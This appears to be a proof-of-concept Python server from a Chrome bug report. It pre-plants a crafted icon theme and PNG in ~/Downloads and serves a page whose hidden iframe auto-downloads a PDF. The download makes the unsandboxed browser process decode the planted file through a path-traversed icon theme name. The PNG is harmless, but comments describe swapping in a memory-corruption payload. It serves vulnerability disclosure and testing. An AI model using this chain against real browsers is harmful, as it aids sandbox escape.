#!/usr/bin/env python3
"""HTTP server for the Net/IconThemeName path-traversal POC.

Serves a page that auto-downloads a 1-byte PDF. When the download completes,
Chrome's download bubble auto-opens and the browser process calls
GtkUi::GetIconForContentType("application/pdf"), which (because the
GPU-process XSETTINGS injection set gtk-icon-theme-name to
"../../../../../../../../../..$HOME/Downloads") resolves and decodes
$HOME/Downloads/application-pdf.png via gdk-pixbuf inside the unsandboxed
browser process.

The renderer's ability to plant index.theme / application-pdf.png in
~/Downloads via auto-download (one free download per top-level navigation,
DownloadRequestLimiter default) is well-established and not the claim under
test; for timing simplicity this script pre-plants those two files (simulating
the prior renderer-driven downloads in steps 1-2 of the report). The claim
under test -- GPU-process XSETTINGS takeover -> browser-process gdk-pixbuf
invocation on a path-traversed file -- is exercised end-to-end.
"""
import http.server
import os
import socketserver
import struct
import sys
import zlib

PORT = 18080
HOME = os.path.expanduser("~")
DOWNLOADS = os.path.join(HOME, "Downloads")

INDEX_THEME = b"""[Icon Theme]
Name=evil
Comment=POC path-traversal icon theme
Directories=.

[.]
Size=32
MinSize=1
MaxSize=512
Type=Scalable
"""

# A valid 32x32 solid-magenta PNG so gtk_icon_info_load_surface() succeeds and
# GtkUi::GetIconForContentType() returns a non-empty gfx::Image. In a real
# attack this would instead be a gdk-pixbuf / librsvg memory-corruption
# payload, executed inside the unsandboxed browser process.
def make_png():
    def chunk(tag, data):
        return (struct.pack(">I", len(data)) + tag + data +
                struct.pack(">I", zlib.crc32(tag + data) & 0xffffffff))
    sig = b"\x89PNG\r\n\x1a\n"
    ihdr = chunk(b"IHDR", struct.pack(">IIBBBBB", 32, 32, 8, 6, 0, 0, 0))
    raw = b"".join(b"\x00" + b"\xff\x00\xff\xff" * 32 for _ in range(32))
    idat = chunk(b"IDAT", zlib.compress(raw))
    iend = chunk(b"IEND", b"")
    return sig + ihdr + idat + iend

POC_HTML = b"""<!doctype html>
<title>icon-theme path-traversal POC</title>
<body>
<h3>Net/IconThemeName path-traversal POC</h3>
<p>Auto-downloading <code>trigger.pdf</code>. When the download completes,
Chrome's download bubble auto-opens and the <b>browser process</b> calls
<code>GtkUi::GetIconForContentType("application/pdf")</code>, which (because
the <b>GPU process</b> took over <code>_XSETTINGS_S0</code> and set
<code>Net/IconThemeName</code> to a <code>../</code> path) decodes
<code>$HOME/Downloads/application-pdf.png</code> via gdk-pixbuf.</p>
<iframe src="/dl/trigger.pdf" style="display:none"></iframe>
</body>
"""


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path in ("/", "/poc.html"):
            self.send_response(200)
            self.send_header("Content-Type", "text/html")
            self.send_header("Content-Length", str(len(POC_HTML)))
            self.end_headers()
            self.wfile.write(POC_HTML)
        elif self.path == "/dl/trigger.pdf":
            body = b"%PDF-1.1\n%%EOF\n"
            self.send_response(200)
            self.send_header("Content-Type", "application/pdf")
            self.send_header("Content-Disposition",
                             'attachment; filename="trigger.pdf"')
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)
        else:
            self.send_error(404)

    def log_message(self, fmt, *args):
        sys.stderr.write("[server] %s\n" % (fmt % args))


def plant_files():
    """Simulate the prior renderer-driven auto-downloads (report steps 1-2)."""
    os.makedirs(DOWNLOADS, exist_ok=True)
    with open(os.path.join(DOWNLOADS, "index.theme"), "wb") as f:
        f.write(INDEX_THEME)
    with open(os.path.join(DOWNLOADS, "application-pdf.png"), "wb") as f:
        f.write(make_png())
    sys.stderr.write("[server] planted %s/{index.theme,application-pdf.png}\n"
                     % DOWNLOADS)


if __name__ == "__main__":
    plant_files()
    socketserver.TCPServer.allow_reuse_address = True
    with socketserver.TCPServer(("127.0.0.1", PORT), Handler) as httpd:
        sys.stderr.write("[server] listening on http://127.0.0.1:%d/\n" % PORT)
        httpd.serve_forever()
